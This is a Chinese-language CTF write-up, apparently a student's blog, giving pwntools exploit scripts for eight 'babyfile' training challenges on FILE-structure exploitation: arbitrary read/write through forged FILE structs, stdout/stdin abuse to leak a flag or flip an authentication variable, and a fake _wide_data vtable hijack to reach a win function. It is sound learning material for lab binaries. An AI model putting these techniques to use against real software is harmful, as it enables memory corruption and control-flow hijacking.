前言#

Finally，花了五个月差不多把 pwn 学完了，至于剩下的内核什么的后期就当兴趣学了，应该不会变成我的主要研究方向，所以等学完这两章 FSOP 的内容我就去搞 IoT，~~也能想象明年开始将全力以赴打比赛，暗无天日的坐牢（~~

总之希望竞赛时期不要太长，最好能够一年退役，我可不想整个大学生活都在坐牢 LOL

Level 1#

Information#

Category: Pwn

Description#

Harness the power of FILE structs to arbitrarily read data.

Write-up#

~~最简单的一集。~~ chall 把 flag 读到 bss 了，并且没开 PIE，还给了任意写 FILE 结构体的能力，直接用 pwntools 秒了。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    FileStructure,
6
    args,
7
    context,
8
    flat,
9
    process,
10
    raw_input,
11
    remote,
12
)
13

14

15
FILE = "/challenge/babyfile_level1"
16
HOST, PORT = "localhost", 1337
17

18
context(log_level="debug", binary=FILE, terminal="kitty")
19

20
elf = context.binary
21

22

23
def mangle(pos, ptr, shifted=1):
24
    if shifted:
25
        return pos ^ ptr
26
    return (pos >> 12) ^ ptr
27

28

29
def demangle(pos, ptr, shifted=1):
30
    if shifted:
31
        return mangle(pos, ptr)
32
    return mangle(pos, ptr, 0)
33

34

35
def launch():
36
    global target
37
    if args.L:
38
        target = process(FILE)
39
    else:
40
        target = remote(HOST, PORT, ssl=True)
41

42

43
def main():
44
    launch()
45

46
    flag = 0x4040E0
47

48
    fp = FileStructure()
49
    payload = flat(fp.write(flag, 0x64))
50

51
    target.send(payload)
52

53
    target.interactive()
54

55

56
if __name__ == "__main__":
57
    main()

Level 2#

Information#

Category: Pwn

Description#

Harness the power of FILE structs to arbitrarily write data to bypass a security check.

Write-up#

验证变量，构造任意读即可。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    FileStructure,
6
    args,
7
    context,
8
    flat,
9
    process,
10
    raw_input,
11
    remote,
12
)
13

14

15
FILE = "/challenge/babyfile_level2"
16
HOST, PORT = "localhost", 1337
17

18
context(log_level="debug", binary=FILE, terminal="kitty")
19

20
elf = context.binary
21

22

23
def mangle(pos, ptr, shifted=1):
24
    if shifted:
25
        return pos ^ ptr
26
    return (pos >> 12) ^ ptr
27

28

29
def demangle(pos, ptr, shifted=1):
30
    if shifted:
31
        return mangle(pos, ptr)
32
    return mangle(pos, ptr, 0)
33

34

35
def launch():
36
    global target
37
    if args.L:
38
        target = process(FILE)
39
    else:
40
        target = remote(HOST, PORT, ssl=True)
41

42

43
def main():
44
    launch()
45

46
    authenticated = 0x4041F8
47

48
    fp = FileStructure()
49
    payload = flat(fp.read(authenticated, 0x101))
50

51
    target.success(fp)
52

53
    target.send(payload)
54
    target.sendline(b"A" * 0xFF)
55

56
    target.interactive()
57

58

59
if __name__ == "__main__":
60
    main()

Level 3#

Information#

Category: Pwn

Description#

Harness the power of FILE structs to redirect data output.

Write-up#

以后每题都那么简单就好了（

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    FileStructure,
6
    args,
7
    context,
8
    flat,
9
    process,
10
    raw_input,
11
    remote,
12
)
13

14

15
FILE = "/challenge/babyfile_level3"
16
HOST, PORT = "localhost", 1337
17

18
context(log_level="debug", binary=FILE, terminal="kitty")
19

20
elf = context.binary
21

22

23
def mangle(pos, ptr, shifted=1):
24
    if shifted:
25
        return pos ^ ptr
26
    return (pos >> 12) ^ ptr
27

28

29
def demangle(pos, ptr, shifted=1):
30
    if shifted:
31
        return mangle(pos, ptr)
32
    return mangle(pos, ptr, 0)
33

34

35
def launch():
36
    global target
37
    if args.L:
38
        target = process(FILE)
39
    else:
40
        target = remote(HOST, PORT, ssl=True)
41

42

43
def main():
44
    launch()
45

46
    target.send(b"\x01")
47

48
    target.interactive()
49

50

51
if __name__ == "__main__":
52
    main()

Level 4#

Information#

Category: Pwn

Description#

Harness the power of FILE structs to arbitrarily read/write data to hijack control flow.

Write-up#

越来越有趣了之，File Structure 的千层套路（

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    FileStructure,
6
    args,
7
    context,
8
    flat,
9
    process,
10
    raw_input,
11
    remote,
12
)
13

14

15
FILE = "/challenge/babyfile_level4"
16
HOST, PORT = "localhost", 1337
17

18
context(log_level="debug", binary=FILE, terminal="kitty")
19

20
elf = context.binary
21

22

23
def mangle(pos, ptr, shifted=1):
24
    if shifted:
25
        return pos ^ ptr
26
    return (pos >> 12) ^ ptr
27

28

29
def demangle(pos, ptr, shifted=1):
30
    if shifted:
31
        return mangle(pos, ptr)
32
    return mangle(pos, ptr, 0)
33

34

35
def launch():
36
    global target
37
    if args.L:
38
        target = process(FILE)
39
    else:
40
        target = remote(HOST, PORT, ssl=True)
41

42

43
def main():
44
    launch()
45

46
    target.recvuntil(b"stored at: ")
47
    ret = int(target.recvline().strip(), 16)
48

49
    fp = FileStructure()
50
    payload = flat(fp.read(ret, 0x101))
51

52
    target.send(payload)
53
    target.send(flat(elf.sym["win"]).ljust(0x101, b"\x00"))
54

55
    target.interactive()
56

57

58
if __name__ == "__main__":
59
    main()

Level 5#

Information#

Category: Pwn

Description#

Abuse built-in FILE structs to leak sensitive information.

Write-up#

能改 stdout 结构体，并且 puts 函数内部会使用 stdout 结构体中的指针来输出值，所以我们只要改掉 write 的几个指针，过一下检查，并且把 flag 设置为 0xfbad1800 就好了。

1
int
2
_IO_puts (const char *str)
3
{
4
  int result = EOF;
5
  size_t len = strlen (str);
6
  _IO_acquire_lock (stdout);
7

8
  if ((_IO_vtable_offset (stdout) != 0
9
       || _IO_fwide (stdout, -1) == -1)
10
      && _IO_sputn (stdout, str, len) == len
11
      && _IO_putc_unlocked ('\n', stdout) != EOF)
12
    result = MIN (INT_MAX, len + 1);
13

14
  _IO_release_lock (stdout);
15
  return result;
16
}
17

18
weak_alias (_IO_puts, puts)
19
libc_hidden_def (_IO_puts)

0x1000 代表追加到当前 fileno 后面，0x0800 代表正在执行写入操作。

1
#define _IO_CURRENTLY_PUTTING 0x0800
2
#define _IO_IS_APPENDING      0x1000

不过实际上我们也不用改那么多 write 指针，只要把最重要的 _IO_write_base 改掉就好了，剩下的使用残留值。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    FileStructure,
6
    args,
7
    context,
8
    flat,
9
    process,
10
    raw_input,
11
    remote,
12
)
13

14

15
FILE = "/challenge/babyfile_level5"
16
HOST, PORT = "localhost", 1337
17

18
context(log_level="debug", binary=FILE, terminal="kitty")
19

20
elf = context.binary
21

22

23
def mangle(pos, ptr, shifted=1):
24
    if shifted:
25
        return pos ^ ptr
26
    return (pos >> 12) ^ ptr
27

28

29
def demangle(pos, ptr, shifted=1):
30
    if shifted:
31
        return mangle(pos, ptr)
32
    return mangle(pos, ptr, 0)
33

34

35
def launch():
36
    global target
37
    if args.L:
38
        target = process(FILE)
39
    else:
40
        target = remote(HOST, PORT, ssl=True)
41

42

43
def main():
44
    launch()
45

46
    flag = 0x4040C0
47

48
    fp = FileStructure()
49
    fp.flags = 0xFBAD1800
50
    fp._IO_write_base = flag
51
    fp._IO_write_ptr = flag + 0x64
52
    fp._IO_write_end = flag + 0x64
53
    payload = flat(fp.struntil("_IO_write_end"))
54

55
    raw_input("DEBUG")
56
    target.send(payload)
57

58
    target.interactive()
59

60

61
if __name__ == "__main__":
62
    main()

Level 6#

Information#

Category: Pwn

Description#

Abuse built-in FILE structs to bypass a security check.

Write-up#

上题是改 stdout 使 puts 任意写，这题是改 stdio 使 scanf 任意读。

scanf 的话只要设置 _IO_NO_WRITES 标志并设置 _IO_buf_base 和 _IO_buf_end 就好了，和那几个 read 指针无关。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    FileStructure,
6
    args,
7
    context,
8
    flat,
9
    process,
10
    raw_input,
11
    remote,
12
)
13

14

15
FILE = "/challenge/babyfile_level6"
16
HOST, PORT = "localhost", 1337
17

18
context(log_level="debug", binary=FILE, terminal="kitty")
19

20
elf = context.binary
21

22

23
def mangle(pos, ptr, shifted=1):
24
    if shifted:
25
        return pos ^ ptr
26
    return (pos >> 12) ^ ptr
27

28

29
def demangle(pos, ptr, shifted=1):
30
    if shifted:
31
        return mangle(pos, ptr)
32
    return mangle(pos, ptr, 0)
33

34

35
def launch():
36
    global target
37
    if args.L:
38
        target = process(FILE)
39
    else:
40
        target = remote(HOST, PORT, ssl=True)
41

42

43
def main():
44
    launch()
45

46
    authenticated = 0x4041F8
47

48
    fp = FileStructure()
49
    fp.flags = 0xFBAD0008
50
    fp._IO_buf_base = authenticated
51
    fp._IO_buf_end = authenticated + 0x8
52
    payload = flat(fp.struntil("_IO_buf_end"))
53

54
    raw_input("DEBUG")
55
    target.send(payload)
56
    target.sendlineafter(b"Please log in.", b"\x01")
57

58
    target.interactive()
59

60

61
if __name__ == "__main__":
62
    main()

Level 7#

Information#

Category: Pwn

Description#

Create a fake _wide_data struct to hijack control of the virtual function table of a FILE struct.

Write-up#

人生中第一道 vtable，也是灰常的简单呢 :D 一开始我看这 description 说是打 vtable 还感觉可能有点难，然非也哈哈哈。

这题就是折腾折腾几个指针而已，要点就是让调用 fwrite 时使用的 FILE structure 的 vtable + 0x38 处保存 __GI__IO_wfile_overflow 的地址，然后这个 __GI__IO_wfile_overflow 内部会调用 _IO_wdoallocbuf，这个函数内部又会调用传给 fwrite 的 FILE structure 的 _wide_data + 0x68 处的函数，我们伪造 _wide_data，令其 +0x68 处保存的是 win 函数地址即可。

一题打消第一次接触 vtable 的恐惧，开心。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    FileStructure,
6
    args,
7
    context,
8
    flat,
9
    process,
10
    raw_input,
11
    remote,
12
)
13

14

15
FILE = "/challenge/babyfile_level7"
16
HOST, PORT = "localhost", 1337
17

18
context(log_level="debug", binary=FILE, terminal="kitty")
19

20
elf = context.binary
21

22

23
def mangle(pos, ptr, shifted=1):
24
    if shifted:
25
        return pos ^ ptr
26
    return (pos >> 12) ^ ptr
27

28

29
def demangle(pos, ptr, shifted=1):
30
    if shifted:
31
        return mangle(pos, ptr)
32
    return mangle(pos, ptr, 0)
33

34

35
def launch():
36
    global target
37
    if args.L:
38
        target = process(FILE)
39
    else:
40
        target = remote(HOST, PORT, ssl=True)
41

42

43
def main():
44
    launch()
45

46
    target.recvuntil(b"libc is: ")
47
    libc = int(target.recvline().strip(), 16) - 0x84420
48
    __GI__IO_wfile_overflow = libc + 0x1E8DC0
49

50
    target.recvuntil(b"located at: ")
51
    buf = int(target.recvline().strip(), 16)
52

53
    target.success(f"libc: {hex(libc)}")
54
    target.success(f"buf: {hex(buf)}")
55

56
    payload = flat(
57
        {
58
            0x68: elf.sym["win"],
59
            0xE0: buf,
60
        },
61
        filler=b"\x00",
62
    )
63
    raw_input("DEBUG")
64
    target.sendafter(b"Please enter your name.\n", payload)
65

66
    fp = FileStructure()
67
    fp._lock = buf
68
    fp._wide_data = buf
69
    fp.vtable = __GI__IO_wfile_overflow
70

71
    raw_input("DEBUG")
72
    target.sendafter(
73
        b"Now reading from stdin directly to the FILE struct.\n", bytes(fp)
74
    )
75

76
    target.interactive()
77

78

79
if __name__ == "__main__":
80
    main()

Level 8#

Information#

Category: Pwn

Description#

Create a fake _wide_data struct to hijack control of the virtual function table of a FILE struct.

Write-up#

和上题差不多，结构体 overlapping 就好了。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    FileStructure,
6
    args,
7
    context,
8
    flat,
9
    process,
10
    raw_input,
11
    remote,
12
)
13

14

15
FILE = "/challenge/babyfile_level8"
16
HOST, PORT = "localhost", 1337
17

18
context(log_level="debug", binary=FILE, terminal="kitty")
19

20
elf = context.binary
21

22

23
def mangle(pos, ptr, shifted=1):
24
    if shifted:
25
        return pos ^ ptr
26
    return (pos >> 12) ^ ptr
27

28

29
def demangle(pos, ptr, shifted=1):
30
    if shifted:
31
        return mangle(pos, ptr)
32
    return mangle(pos, ptr, 0)
33

34

35
def launch():
36
    global target
37
    if args.L:
38
        target = process(FILE)
39
    else:
40
        target = remote(HOST, PORT, ssl=True)
41

42

43
def main():
44
    launch()
45

46
    target.recvuntil(b"libc is: ")
47
    libc = int(target.recvline().strip(), 16) - 0x84420
48
    __GI__IO_wfile_overflow = libc + 0x1E8DC0
49

50
    target.recvuntil(b"writing to: ")
51
    buf = int(target.recvline().strip(), 16)
52

53
    target.success(f"libc: {hex(libc)}")
54
    target.success(f"buf: {hex(buf)}")
55

56
    fp = FileStructure()
57
    fp._lock = buf
58
    fp._wide_data = buf
59
    fp.vtable = __GI__IO_wfile_overflow
60
    fp.chain = elf.sym["win"]
61

62
    payload = flat(
63
        bytes(fp),
64
        buf,
65
    )
66

67
    raw_input("DEBUG")
68
    target.send(payload)
69

70
    target.interactive()
71

72

73
if __name__ == "__main__":
74
    main()